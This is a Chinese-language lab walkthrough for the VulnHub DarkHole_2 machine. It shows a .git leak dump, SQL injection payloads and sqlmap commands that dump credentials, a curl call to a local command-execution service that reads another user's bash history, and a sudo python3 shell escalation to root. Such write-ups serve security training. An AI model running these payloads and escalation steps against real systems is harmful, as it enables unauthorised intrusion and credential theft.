一、靶场介绍

靶机下载地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

这里一开始我用的是别人在云服务器上搭建好的靶机,后来ssh连接老是掉,就在自己电脑上搭建了一下,所以省去主机发现这一步了

二、端口扫描

在web页面发现一个登录页面

image-20240907164232398

image-20240907164237940

dirsearch -u "http://154.37.221.172:8080/" 

在扫描结果中看的很多关于git的相关页面

image-20240907164515851

三、git泄露利用

pip3 install git-dumper

先安装一下工具

image-20240907164907417

git-dumper http://靶机ip:8080/.git/ 1 

后面那个1是,文件存放路径

image-20240907165901996

cd 1			# 切换git下的目录
git log # 查看日志
git diff a4d900a8d85e8938d3601f3cef113ee293028e10 # 查看修改内容

发现账号和密码

lush@admin.com

321

image-20240907170151037

四、sql注入

4.1、手注

利用获取到的账号和密码登录web页面,在url中看到id=1,尝试是否存在sql注入

万能密码尝试

1' and 1='1--+

image-20240908152517355

1' and 1='2--+

将1改成2发现回显消失,是单引号闭合方式

image-20240908152426903

有两个表,一个user表一个ssh表,这里语句是直接查询ssh表的

id=-1'  union select 1,2,3,4,5,group_concat(user,0x2d,pass) from ssh--+

账号:jehad

密码:fool

image-20240908154555997

4.2、sqlmap梭哈

使用sqlmap直接跑,会提示使用存在cookie注入,cookie检查->网络,可以看到cookie,抓包也行

sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 --current-db 

查看当前

image-20240908155041405

sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 -D darkhole_2 --tables

image-20240908155130661

sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 -D darkhole_2 -T ssh --dump

image-20240908155226765

jehad

fool

五、ssh登录

ssh jehad@192.168.43.152
cat /etc/passwd

根据获取到的信息ssh登录,发现存在三个ssh登录权限

image-20240907171625165

六、提权

6.1、历史命令查询

查看执行过的历史命令

history

发现9999端口上跑的有一个服务

image-20240907171753567

解码一下发现是个反弹shell的语句

image-20240907171918146

6.2、查看端口

ss -antp

发现9999端口确实正在跑一个服务

image-20240908160322131

查看9999端口服务是什么,发现是个命令执行的权限

curl http://127.0.0.1:9999/?cmd=id

image-20240908160336252

6.3、定时任务

cat /etc/crontab

发现存在一个定时任务,在opt/web目录下

php起9999端口服务

image-20240908161120286

cd /opt/web/
ls -al
cat index.php

发现存在一个php文件,查看网页代码,发现就是命令执行的代码

image-20240908161204525

由于9999端口是losy用户执行的,可以使用这个来执行losy权限

curl "http://127.0.0.1:9999?cmd=cat%20/home/losy/.bash_history"

记得将命令使用url编码一下

在线url网址编码、解码(ES JSON在线工具)

image-20240908161503624

在最后一行,发现更改后的密码,密码为gang

image-20240908161544714

6.4、sudo -l提权

su losy
cat user.txt

image-20240908161618928

登录上losy用户

sudo -l
sudo python3 -c "import pty;pty.spawn('/bin/bash')"

发现python3可以使用sudo命令执行,直接sudo执行python3起个新的终端,获取到root权限

image-20240908162250073

参考文章:靶机练习—–VulnHub-DarkHole_2 靶机详细渗透过程 - nebulapioneer - 博客园 (cnblogs.com)